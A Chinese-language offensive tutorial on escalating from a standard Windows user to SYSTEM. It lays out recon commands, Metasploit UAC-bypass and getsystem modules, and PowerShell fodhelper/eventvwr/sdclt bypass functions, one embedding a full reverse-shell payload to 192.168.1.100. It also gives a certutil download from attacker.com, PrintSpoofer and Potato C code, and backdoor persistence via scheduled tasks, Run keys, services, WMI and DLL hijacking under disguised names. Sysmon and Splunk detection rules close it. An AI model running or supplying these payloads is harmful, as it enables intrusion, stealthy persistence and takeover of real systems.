0. 攻击链全景
┌────────────────────────────────────────────────────────────────────┐
│ Windows 提权攻击链: 普通用户 → SYSTEM │
│ │
│ 阶段 1: 信息收集 阶段 2: UAC 绕过 │
│ ┌──────────────┐ ┌───────────────────┐ │
│ │ whoami /priv │ │ bypassuac_fodhelper│ │
│ │ systeminfo │───────────→│ bypassuac_eventvwr │ │
│ │ net localgroup│ │ bypassuac_sdclt │ │
│ │ reg query UAC│ │ bypassuac_silent │ │
│ └──────────────┘ └────────┬──────────┘ │
│ │ │
│ ▼ │
│ 阶段 4: 持久化 阶段 3: SYSTEM 提权 │
│ ┌──────────────┐ ┌───────────────────┐ │
│ │ schtasks │ │ getsystem -t 0 │ │
│ │ registry Run │←───────────│ 技术1: Named Pipe │ │
│ │ WMI Event │ │ 技术5: PrintSpoofer│ │
│ │ DLL Hijack │ │ 技术6: EfsPotato │ │
│ └──────────────┘ └───────────────────┘ │
│ │
│ 关键权限链: │
│ Medium Integrity (普通用户) │
│ → UAC Bypass → High Integrity (管理员) │
│ → getsystem → SYSTEM (NT AUTHORITY\SYSTEM) │
└────────────────────────────────────────────────────────────────────┘
1. 阶段一:信息收集与攻击面测绘
1.1 当前权限与 UAC 配置确认
# === Meterpreter 会话内信息收集 ===meterpreter > shell
# 进入 Windows 命令行环境# 1. 确认当前用户和完整性级别
whoami /priv
# 输出示例 (Medium Integrity):
# PRIVILEGES INFORMATION
# ----------------------
# SeShutdownPrivilege Disabled
# SeChangeNotifyPrivilege Enabled
# SeUndockPrivilege Disabled
# SeIncreaseWorkingSetPrivilege Disabled
# SeTimeZonePrivilege Disabled# 2. 检查 UAC 配置 (关键!)
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin
# 输出值解读:
# 0x0 = UAC 禁用 (无需绕过)
# 0x1 = 安全桌面提示 (需要用户交互)
# 0x5 = 默认 UAC 级别 (可被自动提升绕过) ← 攻击目标
# 0x2 = 始终通知 (最安全,自动提升绕过失效)reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
# 0x1 = UAC 已启用
# 0x0 = UAC 已禁用# 3. 检查当前用户是否在本地管理员组
net localgroup Administrators
# 如果用户在管理员组但运行在 Medium Integrity → UAC 可绕过# 4. 系统信息收集
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"# 5. 检查已安装补丁
wmic qfe list brief# 6. 检查 AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# 两者都 = 1 → MSI 以 SYSTEM 安装# 7. 检查未加引号的服务路径
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows"
# 使用 Metasploit post 模块自动化收集提权信息
meterpreter > background
[*] Backgrounding session 1...msf6 > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
msf6 post(multi/recon/local_exploit_suggester) > run# 输出示例:
# [*] 10.0.0.5 - Collecting local exploits for x86/windows...
# [*] 10.0.0.5 - 31 exploit checks are being tried...
# [+] 10.0.0.5 - exploit/windows/local/bypassuac_fodhelper: The target appears to be vulnerable.
# [+] 10.0.0.5 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
# [+] 10.0.0.5 - exploit/windows/local/always_install_elevated: The target appears to be vulnerable.
# [+] 10.0.0.5 - exploit/windows/local/unquoted_service_path: The service is vulnerable.# 使用 enum_patches 模块检查缺失补丁
msf6 > use post/windows/gather/enum_patches
msf6 post(windows/gather/enum_patches) > set SESSION 1
msf6 post(windows/gather/enum_patches) > run
1.3 WinPEAS 手动信息收集
# PowerShell 提权信息收集脚本 (替代 WinPEAS 的精简版)# 检查所有可利用的提权路径
function Invoke-PrivEscCheck {Write-Host "=== UAC Configuration ===" -ForegroundColor Cyan$uac = Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"Write-Host "ConsentPromptBehaviorAdmin: $($uac.ConsentPromptBehaviorAdmin)"Write-Host "EnableLUA: $($uac.EnableLUA)"Write-Host "`n=== Current Privileges ===" -ForegroundColor Cyanwhoami /privWrite-Host "`n=== AlwaysInstallElevated ===" -ForegroundColor Cyantry {$hkcu = Get-ItemProperty "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer" -ErrorAction Stop$hklm = Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" -ErrorAction Stopif ($hkcu.AlwaysInstallElevated -eq 1 -and $hklm.AlwaysInstallElevated -eq 1) {Write-Host "[!] VULNERABLE: AlwaysInstallElevated is enabled!" -ForegroundColor Red}} catch { Write-Host "Not configured" }Write-Host "`n=== Unquoted Service Paths ===" -ForegroundColor CyanGet-WmiObject Win32_Service | Where-Object {$_.PathName -notmatch '"' -and$_.PathName -match ' ' -and$_.PathName -notmatch 'C:\\Windows'} | Select-Object Name, PathName, StartMode | Format-Table -AutoSizeWrite-Host "`n=== Services with Weak Permissions ===" -ForegroundColor Cyan$services = Get-WmiObject Win32_Service | Where-Object { $_.StartMode -eq "Auto" }foreach ($svc in $services) {$path = ($svc.PathName -split '"')[1]if (-not $path) { $path = ($svc.PathName -split ' ')[0] }if ($path) {$dir = Split-Path $pathif ($dir -and (Test-Path $dir)) {$acl = Get-Acl $dir -ErrorAction SilentlyContinueif ($acl) {foreach ($rule in $acl.Access) {if ($rule.IdentityReference -match "Users" -and$rule.FileSystemRights -match "Write") {Write-Host "[!] WRITABLE: $dir ($($svc.Name))" -ForegroundColor Red}}}}}}Write-Host "`n=== Scheduled Tasks ===" -ForegroundColor CyanGet-ScheduledTask | Where-Object {$_.State -eq "Ready" -and$_.TaskPath -notmatch "\\Microsoft\\"} | Select-Object TaskName, TaskPath, State | Format-Table -AutoSizeWrite-Host "`n=== AutoRun Entries ===" -ForegroundColor CyanGet-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -ErrorAction SilentlyContinue |Select-Object * -ExcludeProperty PS* | Format-List
}Invoke-PrivEscCheck
2. 阶段二:UAC 绕过获得高完整性会话
2.1 UAC 绕过原理
┌────────────────────────────────────────────────────────────────────┐
│ UAC 绕过原理 (fodhelper 为例) │
│ │
│ Windows 自动提升机制: │
│ 某些"受信任"的系统程序在启动时会自动获得高完整性 (无需用户点击) │
│ │
│ fodhelper.exe (Windows 功能管理器): │
│ ┌─────────────────────────────────────────────┐ │
│ │ 1. fodhelper.exe 启动 (自动提升到 High IL) │ │
│ │ 2. 读取注册表: │ │
│ │ HKCU\Software\Classes\ms-settings\ │ │
│ │ Shell\Open\command │ │
│ │ 3. 如果存在该键,执行其值作为命令 │ │
│ └───────────────────┬─────────────────────────┘ │
│ │ │
│ 攻击者操作: │ │
│ ┌───────────────────▼─────────────────────────┐ │
│ │ 1. 向 HKCU 写入恶意命令 │ │
│ │ (HKCU 普通用户可写) │ │
│ │ 2. 启动 fodhelper.exe │ │
│ │ 3. fodhelper 以 High IL 执行恶意命令 │ │
│ │ 4. 获得高完整性 Meterpreter 会话 │ │
│ └─────────────────────────────────────────────┘ │
│ │
│ 关键: HKCU 对普通用户可写,但 fodhelper 以高完整性读取并执行 │
│ 其他可利用程序: eventvwr, sdclt, slui, computerdefaults │
└────────────────────────────────────────────────────────────────────┘
| 模块 |
目标程序 |
注册表路径 |
触发方式 |
| bypassuac_fodhelper |
fodhelper.exe |
HKCU\...\ms-settings\Shell\Open\command |
自动提升 |
| bypassuac_eventvwr |
eventvwr.exe |
HKCU\...\mscfile\shell\open\command |
自动提升 |
| bypassuac_sdclt |
sdclt.exe |
HKCU\...\exefile\shell\open\command |
自动提升 |
| bypassuac_sluihijack |
slui.exe |
HKCU\...\exefile\shell\open\command |
自动提升 |
| bypassuac_comhijack |
COM 对象 |
HKCU\...\CLSID\{...}\InProcServer32 |
COM 劫持 |
| bypassuac_dllhijack |
多个签名程序 |
DLL 搜索路径 |
DLL 劫持 |
| bypassuac_injection_winsxs |
WinSxS 签名进程 |
内存注入 |
注入签名进程 |
| bypassuac_silentcleanup |
SilentCleanup 任务 |
环境变量 windir |
计划任务 |
2.3 实战:bypassuac_fodhelper
# === Metasploit bypassuac_fodhelper 实战 ===# 1. 从普通用户 Meterpreter 会话开始
meterpreter > getuid
# Server username: DESKTOP-ABC123\regularuser
meterpreter > getsystem
# [-] priv_elevate_getsystem: Operation failed: Access is denied.
# (普通用户无法直接 getsystem,需要先绕过 UAC)# 2. 后台当前会话
meterpreter > background
[*] Backgrounding session 1...# 3. 使用 fodhelper UAC 绕过模块
msf6 > use exploit/windows/local/bypassuac_fodhelper
msf6 exploit(windows/local/bypassuac_fodhelper) > show options# 4. 配置参数
msf6 exploit(windows/local/bypassuac_fodhelper) > set SESSION 1
msf6 exploit(windows/local/bypassuac_fodhelper) > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/bypassuac_fodhelper) > set LHOST 192.168.1.100
msf6 exploit(windows/local/bypassuac_fodhelper) > set LPORT 4445
msf6 exploit(windows/local/bypassuac_fodhelper) > set TARGET 0
# TARGET 0 = Windows x86
# TARGET 1 = Windows x64# 5. 执行
msf6 exploit(windows/local/bypassuac_fodhelper) > exploit[*] Started reverse TCP handler on 192.168.1.100:4445
[*] UAC is Enabled, checking level...
[*] Running module against DESKTOP-ABC123
[+] Part of Administrators group! Exploitable.
[*] registry_key_values = ["C:\\Windows\\System32\\cmd.exe"]
[*] Uploaded the Windows Payload to the registry...
[*] Cleaning up Registry Keys...
[*] Executing fodhelper.exe to bypass UAC
[*] Sending stage (200262 bytes) to 192.168.1.50
[*] Meterpreter session 2 opened (192.168.1.100:4445 -> 192.168.1.50:49152)# 6. 验证高完整性会话
meterpreter > getuid
# Server username: DESKTOP-ABC123\regularuser
# (用户名未变,但完整性级别已提升!)meterpreter > getprivs
# Enabled privileges on DESKTOP-ABC123:
# SeDebugPrivilege ← 关键! 可注入任何进程
# SeImpersonatePrivilege ← 关键! 可模拟令牌
# SeLoadDriverPrivilege ← 可加载内核驱动
# SeShutdownPrivilege
# SeChangeNotifyPrivilege
# SeUndockPrivilege# 对比之前 (Medium IL):
# SeShutdownPrivilege
# SeChangeNotifyPrivilege
# SeUndockPrivilege
# 现在 (High IL) 多了 SeDebugPrivilege 和 SeImpersonatePrivilege!
2.4 其他 UAC 绕过模块实战
# === bypassuac_eventvwr ===
msf6 > use exploit/windows/local/bypassuac_eventvwr
msf6 exploit(windows/local/bypassuac_eventvwr) > set SESSION 2
msf6 exploit(windows/local/bypassuac_eventvwr) > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/bypassuac_eventvwr) > set LHOST 192.168.1.100
msf6 exploit(windows/local/bypassuac_eventvwr) > exploit# 原理: eventvwr.exe 启动时自动提升,读取
# HKCU\Software\Classes\mscfile\shell\open\command
# 模块写入恶意命令,eventvwr 以高完整性执行# === bypassuac_silentcleanup ===
msf6 > use exploit/windows/local/bypassuac_silentcleanup
# 原理: SilentCleanup 计划任务以高完整性运行
# 利用 windir 环境变量可写,注入恶意路径
# 优势: 不需要用户在管理员组 (仅需要普通用户)# === bypassuac_injection_winsxs ===
msf6 > use exploit/windows/local/bypassuac_injection_winsxs
# 原理: 注入 Windows Publisher 签名进程
# 优势: 绕过基于磁盘检测的 EDR
# 注入到 sysnative 下的签名进程,无文件落盘
# Improved fodhelper UAC bypass — PowerShell 手动实现
# 优势: 不使用 Metasploit 默认 payload,避免特征检测function Invoke-FodhelperBypass {param([string]$PayloadCommand = "powershell -nop -w hidden -c `$c=New-Object Net.Sockets.TCPClient('192.168.1.100',4445);`$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -gt 0){`$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);`$r=(iex `$d 2>&1|Out-String);`$e=[Text.Encoding]::ASCII.GetBytes(`$r);`$s.Write(`$e,0,`$e.Length)}")# 1. 写入注册表 (HKCU 普通用户可写)$regPath = "HKCU:\Software\Classes\ms-settings\Shell\Open\command"# 创建注册表项New-Item -Path $regPath -Force | Out-NullNew-ItemProperty -Path $regPath -Name "DelegateExecute" -Value "" -PropertyType String -Force | Out-NullSet-ItemProperty -Path $regPath -Name "(default)" -Value $PayloadCommand -Force# 2. 启动 fodhelper (自动提升)Start-Process "C:\Windows\System32\fodhelper.exe"# 3. 等待执行Start-Sleep -Seconds 3# 4. 清理注册表Remove-Item "HKCU:\Software\Classes\ms-settings" -Recurse -Force -ErrorAction SilentlyContinueWrite-Host "[+] fodhelper UAC bypass executed. Check your listener."
}# 执行
Invoke-FodhelperBypass# === eventvwr 手动绕过 ===
function Invoke-EventvwrBypass {param([string]$PayloadCommand = "calc.exe")$regPath = "HKCU:\Software\Classes\mscfile\shell\open\command"New-Item -Path $regPath -Force | Out-NullSet-ItemProperty -Path $regPath -Name "(default)" -Value $PayloadCommand -ForceStart-Process "C:\Windows\System32\eventvwr.exe"Start-Sleep -Seconds 3Remove-Item "HKCU:\Software\Classes\mscfile" -Recurse -Force -ErrorAction SilentlyContinue
}# === sdclt 手动绕过 ===
function Invoke-SdcltBypass {param([string]$PayloadCommand = "cmd.exe")$regPath = "HKCU:\Software\Classes\exefile\shell\open\command"New-Item -Path $regPath -Force | Out-NullSet-ItemProperty -Path $regPath -Name "IsolatedCommand" -Value $PayloadCommand -ForceSet-ItemProperty -Path $regPath -Name "(default)" -Value $PayloadCommand -ForceStart-Process "C:\Windows\System32\sdclt.exe"Start-Sleep -Seconds 3Remove-Item "HKCU:\Software\Classes\exefile" -Recurse -Force -ErrorAction SilentlyContinue
}
3. 阶段三:getsystem 提升到 SYSTEM
3.1 getsystem 技术矩阵
getsystem 使用 6 种技术(按序尝试):
| # |
技术 |
副作用 |
前提条件 |
适用版本 |
| 1 |
Named Pipe Impersonation |
创建服务 |
本地管理员组 |
XP/2003+ |
| 2 |
Named Pipe (DLL Dropper) |
创建服务 + 写盘 |
本地管理员组 |
XP/2003+ |
| 3 |
Token Duplication |
进程注入 |
SeDebugPrivilege |
XP/2003+ |
| 4 |
Named Pipe (RPCSS) |
无 |
NETWORK SERVICE |
Win8.1/2012R2+ |
| 5 |
Named Pipe (Print Spooler) |
无 |
SeImpersonatePrivilege |
Win8.1/2012R2+ |
| 6 |
Named Pipe (EfsPotato) |
无 |
SeImpersonatePrivilege |
Vista/2008+ |
3.2 技术原理详解
技术 1:Named Pipe Impersonation
┌────────────────────────────────────────────────────────────┐
│ getsystem 技术 1: Named Pipe Impersonation │
│ │
│ 攻击者进程 (High IL) SYSTEM 服务 │
│ ┌──────────────────┐ ┌──────────────────┐ │
│ │ 1. 创建命名管道 │ │ │ │
│ │ \\.\pipe\pipe │ │ │ │
│ │ │ │ │ │
│ │ 2. 创建服务 │───────→│ 3. 服务以 SYSTEM │ │
│ │ sc create ... │ │ 身份连接管道 │ │
│ │ binPath= "cmd │ │ │ │
│ │ /c echo >pipe" │ │ 4. 连接管道时 │ │
│ │ │ │ Impersonate │ │
│ │ 5. 调用 │←───────│ NamedPipe │ │
│ │ Impersonate │ │ Client() │ │
│ │ NamedPipeClient │ │ │ │
│ │ │ │ │ │
│ │ 6. 现在以 SYSTEM │ │ │ │
│ │ 身份执行 │ │ │ │
│ └──────────────────┘ └──────────────────┘ │
└────────────────────────────────────────────────────────────┘
技术 5:PrintSpoofer (Print Spooler 变体)
"""
PrintSpoofer 技术原理:
通过 MS-RPRN RPC 接口触发 Print Spooler 服务连接攻击者的命名管道
Print Spooler 以 SYSTEM 身份运行 → 模拟其令牌 → 获得 SYSTEM
"""# PrintSpoofer 核心 RPC 调用流程
printspoofer_flow = """
1. 攻击者创建命名管道: \\.\pipe\spoolss (伪装成 Print Spooler 管道)
2. 攻击者调用 RpcRemoteFindFirstPrinterChangeNotification:- 参数: pszLocalMachine = \\\\attacker/pipe/spoolss- 告诉 Print Spooler: "有打印变更通知,连接这个地址获取详情"
3. Print Spooler (SYSTEM) 连接攻击者的命名管道
4. 攻击者调用 ImpersonateNamedPipeClient()
5. 获得 SYSTEM 令牌 → 以 SYSTEM 身份创建进程
"""# C 实现关键代码片段 (PrintSpoofer.c 简化版)
printspoofer_code = """
// 1. 创建命名管道
HANDLE hPipe = CreateNamedPipe(L"\\\\\\\\.\\\\pipe\\\\spoolss",PIPE_ACCESS_DUPLEX,PIPE_TYPE_BYTE | PIPE_WAIT,10, 8192, 8192, 0, NULL
);// 2. 触发 Print Spooler 连接
// 调用 RpcRemoteFindFirstPrinterChangeNotificationEx
// pszLocalMachine 设为 \\\\ attacker/pipe/spoolss
RpcRemoteFindFirstPrinterChangeNotificationEx(hPrinter,PRINTER_CHANGE_ADD_JOB,0,L"\\\\attacker/pipe/spoolss", // 指向攻击者的管道0,NULL
);// 3. 等待 Spooler 连接
ConnectNamedPipe(hPipe, NULL);// 4. 模拟客户端令牌
ImpersonateNamedPipeClient(hPipe);// 5. 获取 SYSTEM 令牌
OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken);
DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation,TokenPrimary, &hSystemToken);// 6. 以 SYSTEM 创建进程
CreateProcessWithTokenW(hSystemToken, LOGON_WITH_PROFILE,L"C:\\\\Windows\\\\System32\\\\cmd.exe", NULL,CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
"""
3.3 实战:getsystem 操作
# === 从高完整性会话执行 getsystem ===# 方法 1: 自动尝试所有技术
meterpreter > getsystem -h
# Usage: getsystem [options]
# -t <opt> The technique to use. (0 to 5, default 0)
#
# Techniques:
# 0 - All techniques available, try each until one succeeds
# 1 - Named Pipe Impersonation (Creates a service)
# 2 - Named Pipe Impersonation (DLL Dropper)
# 3 - Token Duplication
# 4 - Named Pipe (RPCSS variant)
# 5 - Named Pipe (Print Spooler variant)meterpreter > getsystem -t 0
# [*] Got system via technique 1 (Named Pipe Impersonation (Creates a service))meterpreter > getuid
# Server username: NT AUTHORITY\SYSTEM
# 成功! 现在是 SYSTEM 权限# 方法 2: 指定技术 (推荐技术 5, 无副作用)
meterpreter > getsystem -t 5
# [*] Got system via technique 5 (Named Pipe (Print Spooler variant))# 方法 3: 如果 getsystem 失败, 使用 incognito 令牌模拟
meterpreter > load incognito
meterpreter > list_tokens -u
# Delegation Tokens Available
# ========================================
# NT AUTHORITY\SYSTEM ← 目标!
# NT AUTHORITY\LOCAL SERVICE
# DESKTOP-ABC123\regularusermeterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"
# [-] Warning: Not currently running as SYSTEM, elevation required
# (需要 High IL 才能模拟 SYSTEM 令牌)# 方法 4: 使用 PrintSpoofer.exe (独立工具, 非 Meterpreter)
meterpreter > shell
# 上传 PrintSpoofer.exe
certutil -urlcache -split -f http://attacker.com/PrintSpoofer.exe C:\Windows\Temp\PrintSpoofer.exe
C:\Windows\Temp\PrintSpoofer.exe -i -c "C:\Windows\System32\cmd.exe"
# -i: 交互式
# -c: 指定要执行的命令
// potato.c — 简化版 Potato 提权 (SeImpersonatePrivilege → SYSTEM)
// 编译: x86_64-w64-mingw32-gcc -o potato.exe potato.c -lrpcrt4#include <windows.h>
#include <stdio.h>// 核心: 利用 SeImpersonatePrivilege 模拟 SYSTEM 令牌
// 前提: 已通过 UAC 绕过获得 SeImpersonatePrivilegeint main() {HANDLE hToken, hDupToken;STARTUPINFO si = {sizeof(si)};PROCESS_INFORMATION pi;// 1. 检查 SeImpersonatePrivilegeif (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) {printf("[-] OpenProcessToken failed: %d\n", GetLastError());return 1;}// 2. 获取 SYSTEM 令牌 (通过Named Pipe 或 RPC 触发)// 这里简化了实际 Potato 的复杂 RPC 交互// 3. 复制令牌为 Primary Tokenif (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL,SecurityImpersonation, TokenPrimary, &hDupToken)) {printf("[-] DuplicateTokenEx failed: %d\n", GetLastError());return 1;}// 4. 以 SYSTEM 身份创建进程si.dwFlags = STARTF_USESHOWWINDOW;si.wShowWindow = SW_SHOW;if (!CreateProcessWithTokenW(hDupToken, LOGON_WITH_PROFILE,L"C:\\Windows\\System32\\cmd.exe",NULL, CREATE_NEW_CONSOLE,NULL, NULL, &si, &pi)) {printf("[-] CreateProcessWithTokenW failed: %d\n", GetLastError());return 1;}printf("[+] SYSTEM shell spawned! PID: %d\n", pi.dwProcessId);CloseHandle(hToken);CloseHandle(hDupToken);return 0;
}
4. 阶段四:持久化
4.1 常见持久化技术
# === 1. 计划任务持久化 (以 SYSTEM 运行) ===# Metasploit 方式
meterpreter > shell
schtasks /create /tn "SystemHealthCheck" /tr "C:\Windows\Temp\backdoor.exe" /sc onstart /ru SYSTEM /rl HIGHEST
# /ru SYSTEM = 以 SYSTEM 身份运行
# /sc onstart = 开机启动
# /rl HIGHEST = 最高权限# 查看
schtasks /query /tn "SystemHealthCheck"# === 2. 注册表 Run 键持久化 ===
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderUpdate" /t REG_SZ /d "C:\Windows\Temp\backdoor.exe" /f
# HKLM 对 SYSTEM 可写# === 3. 服务持久化 ===
sc create "WindowsHealthService" binpath= "C:\Windows\Temp\backdoor.exe" start= auto obj= "LocalSystem"
# obj= LocalSystem = 以 SYSTEM 运行
sc start "WindowsHealthService"# === 4. WMI 事件订阅持久化 (无文件) ===
# 永久事件订阅: 开机时触发
wmic /namespace:"\\root\subscription" /CREATE "CommandLineEventConsumer"
# 更常用 PowerShell:
powershell -Command "$EventFilter = Set-WmiInstance -Class __EventFilter -Namespace 'root\subscription' -Arguments @{Name='UpdateFilter'; EventNameSpace='root\cimv2'; QueryLanguage='WQL'; Query='SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \"Win32_PerfFormattedData_PerfOS_System\"'}"# === 5. DLL 劫持持久化 ===
# 找到可被劫持的签名程序 (如 explorer.exe)
# 在其搜索路径放置恶意 DLL
copy backdoor.dll "C:\Windows\System32\version.dll"
# 当 explorer.exe 启动时加载恶意 version.dll
# === Metasploit 持久化模块 ===# 1. Registry 持久化
msf6 > use exploit/windows/local/persistence
msf6 exploit(windows/local/persistence) > set SESSION 2
msf6 exploit(windows/local/persistence) > set STARTUP SYSTEM
msf6 exploit(windows/local/persistence) > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/persistence) > set LHOST 192.168.1.100
msf6 exploit(windows/local/persistence) > set LPORT 4446
msf6 exploit(windows/local/persistence) > exploit# 2. 计划任务持久化
msf6 > use exploit/windows/local/s4u_persistence
msf6 exploit(windows/local/s4u_persistence) > set SESSION 2
msf6 exploit(windows/local/s4u_persistence) > set STARTUP SYSTEM
msf6 exploit(windows/local/s4u_persistence) > exploit# 3. WMI 事件订阅持久化
msf6 > use exploit/windows/local/wmi_persistence
msf6 exploit(windows/local/wmi_persistence) > set SESSION 2
msf6 exploit(windows/local/wmi_persistence) > exploit
5. 检测规则设计
5.1 Sysmon 检测配置
<!-- sysmon-config.xml — Windows 提权检测规则 --><Sysmon schemaversion="4.90"><HashAlgorithms>SHA256</HashAlgorithms><!-- 事件 1: 进程创建 --><EventFiltering><!-- 检测 UAC 绕过: fodhelper 启动可疑子进程 --><RuleGroup name="UAC Bypass - fodhelper" groupRelation="or"><ProcessCreate onmatch="include"><!-- fodhelper 启动后衍生 cmd/powershell --><ParentImage condition="end with">fodhelper.exe</ParentImage><Image condition="end with">cmd.exe</Image></ProcessCreate><ProcessCreate onmatch="include"><ParentImage condition="end with">fodhelper.exe</ParentImage><Image condition="end with">powershell.exe</Image></ProcessCreate></RuleGroup><!-- 检测 UAC 绕过: eventvwr 启动可疑子进程 --><RuleGroup name="UAC Bypass - eventvwr" groupRelation="or"><ProcessCreate onmatch="include"><ParentImage condition="end with">eventvwr.exe</ParentImage><Image condition="end with">cmd.exe</Image></ProcessCreate><ProcessCreate onmatch="include"><ParentImage condition="end with">eventvwr.exe</ParentImage><Image condition="end with">powershell.exe</Image></ProcessCreate></RuleGroup><!-- 检测 UAC 绕过: sdclt 启动可疑子进程 --><RuleGroup name="UAC Bypass - sdclt" groupRelation="or"><ProcessCreate onmatch="include"><ParentImage condition="end with">sdclt.exe</ParentImage><Image condition="end with">cmd.exe</Image></ProcessCreate></RuleGroup><!-- 检测 getsystem: 服务创建可疑进程 --><RuleGroup name="getsystem - Service Created Process" groupRelation="or"><ProcessCreate onmatch="include"><ParentImage condition="end with">services.exe</ParentImage><Image condition="end with">cmd.exe</Image><CommandLine condition="contains">echo</CommandLine></ProcessCreate></RuleGroup><!-- 检测 PrintSpooler 利用 --><RuleGroup name="PrintSpoofer Detection" groupRelation="or"><ProcessCreate onmatch="include"><ParentImage condition="end with">spoolsv.exe</ParentImage><Image condition="end with">cmd.exe</Image></ProcessCreate><ProcessCreate onmatch="include"><ParentImage condition="end with">spoolsv.exe</ParentImage><Image condition="end with">powershell.exe</Image></ProcessCreate></RuleGroup><!-- 检测计划任务持久化 --><RuleGroup name="Persistence - Schtasks" groupRelation="or"><ProcessCreate onmatch="include"><Image condition="end with">schtasks.exe</Image><CommandLine condition="contains">/create</CommandLine><CommandLine condition="contains">SYSTEM</CommandLine></ProcessCreate></RuleGroup></EventFiltering><!-- 事件 13: 注册表值设置 — UAC 绕过注册表写入 --><RuleGroup name="UAC Bypass - Registry" groupRelation="or"><RegistryEvent onmatch="include"><!-- fodhelper 路径 --><TargetObject condition="contains">ms-settings\Shell\Open\command</TargetObject></RegistryEvent><RegistryEvent onmatch="include"><!-- eventvwr 路径 --><TargetObject condition="contains">mscfile\shell\open\command</TargetObject></RegistryEvent><RegistryEvent onmatch="include"><!-- sdclt 路径 --><TargetObject condition="contains">exefile\shell\open\command</TargetObject></RegistryEvent><RegistryEvent onmatch="include"><!-- COM 劫持 --><TargetObject condition="contains">HKCU\Software\Classes\CLSID</TargetObject></RegistryEvent></RuleGroup><!-- 事件 8: CreateRemoteThread — 进程注入 --><RuleGroup name="Process Injection" groupRelation="or"><CreateRemoteThread onmatch="include"><SourceImage condition="end with">powershell.exe</SourceImage></CreateRemoteThread><CreateRemoteThread onmatch="include"><SourceImage condition="end with">rundll32.exe</SourceImage></CreateRemoteThread></RuleGroup><!-- 事件 10: ProcessAccess — 令牌操作 --><RuleGroup name="Token Manipulation" groupRelation="or"><ProcessAccess onmatch="include"><TargetImage condition="end with">lsass.exe</TargetImage><GrantedAccess condition="contains">0x1410</GrantedAccess><!-- 0x1410 = PROCESS_QUERY_INFORMATION | PROCESS_VM_READ --></ProcessAccess></RuleGroup>
</Sysmon>
5.2 Windows 事件日志检测
"""
Windows Event Log 检测规则
使用 Splunk / Elastic / WinEventLog 查询
"""# === 关键事件 ID ===
DETECTION_RULES = {"Event_4688_Process_Creation": {"event_id": 4688,"description": "进程创建","detection_queries": [# 检测 fodhelper 启动'EventID=4688 Image="*\\fodhelper.exe"',# 检测可疑服务创建'EventID=4688 Image="*\\sc.exe" CommandLine="*create*"',# 检测 schtasks 创建'EventID=4688 Image="*\\schtasks.exe" CommandLine="*/create*" CommandLine="*SYSTEM*"',]},"Event_4697_Service_Install": {"event_id": 4697,"description": "特权服务安装 (getsystem 技术 1/2 会触发)","detection_queries": [# 检测通过服务创建提权'EventID=4697 AccountName!="*SYSTEM*" ServiceName!="*"',# 检测可疑服务名'EventID=4697 ServiceFileName="*\\cmd.exe"','EventID=4697 ServiceFileName="*\\powershell.exe"','EventID=4697 ServiceFileName="*echo*"',]},"Event_4698_Scheduled_Task": {"event_id": 4698,"description": "计划任务创建","detection_queries": [# 检测以 SYSTEM 运行的计划任务'EventID=4698 TaskContent="*SYSTEM*" UserId="*S-1-5-18*"',# 检测可疑任务名'EventID=4698 TaskName!="\\Microsoft\\*"',]},"Event_4672_Special_Privileges": {"event_id": 4672,"description": "分配特殊权限 (提权信号)","detection_queries": [# 非 SYSTEM 用户获得特殊权限'EventID=4672 SubjectUserName!="SYSTEM" SubjectUserName!="*$"',]},"Event_4657_Registry_Value_Changed": {"event_id": 4657,"description": "注册表值修改 (UAC 绕过检测)","detection_queries": [# fodhelper 注册表路径'EventID=4657 ObjectName="*ms-settings\\Shell\\Open\\command*"',# eventvwr 注册表路径'EventID=4657 ObjectName="*mscfile\\shell\\open\\command*"',# AlwaysInstallElevated'EventID=4657 ObjectName="*AlwaysInstallElevated*"',# COM 劫持'EventID=4657 ObjectName="*HKCU\\Software\\Classes\\CLSID*"',]}
}# === Splunk SPL 查询 ===
splunk_queries = {"uac_bypass_fodhelper": """index=windows EventID=4688 (Image="*\\fodhelper.exe" OR ParentImage="*\\fodhelper.exe")| stats count by _time, host, Image, ParentImage, CommandLine| sort -_time""","getsystem_service": """index=windows EventID=4697| search (ServiceFileName="*\\cmd.exe" OR ServiceFileName="*\\echo*" ORServiceFileName="*\\powershell.exe")| stats count by _time, host, ServiceName, ServiceFileName, AccountName| sort -_time""","registry_uac_bypass": """index=windows EventID=4657(ObjectName="*ms-settings*" OR ObjectName="*mscfile*" ORObjectName="*exefile\\shell\\open\\command*")| stats count by _time, host, ObjectName, SubjectUserName, OperationType| sort -_time""","persistence_schtasks": """index=windows EventID=4698| search (TaskContent="*SYSTEM*" OR TaskContent="*cmd.exe" ORTaskContent="*powershell.exe")| where NOT match(TaskName, "\\\\Microsoft\\\\")| stats count by _time, host, TaskName, SubjectUserName| sort -_time""","privilege_escalation_special": """index=windows EventID=4672| where SubjectUserName!="SYSTEM" AND 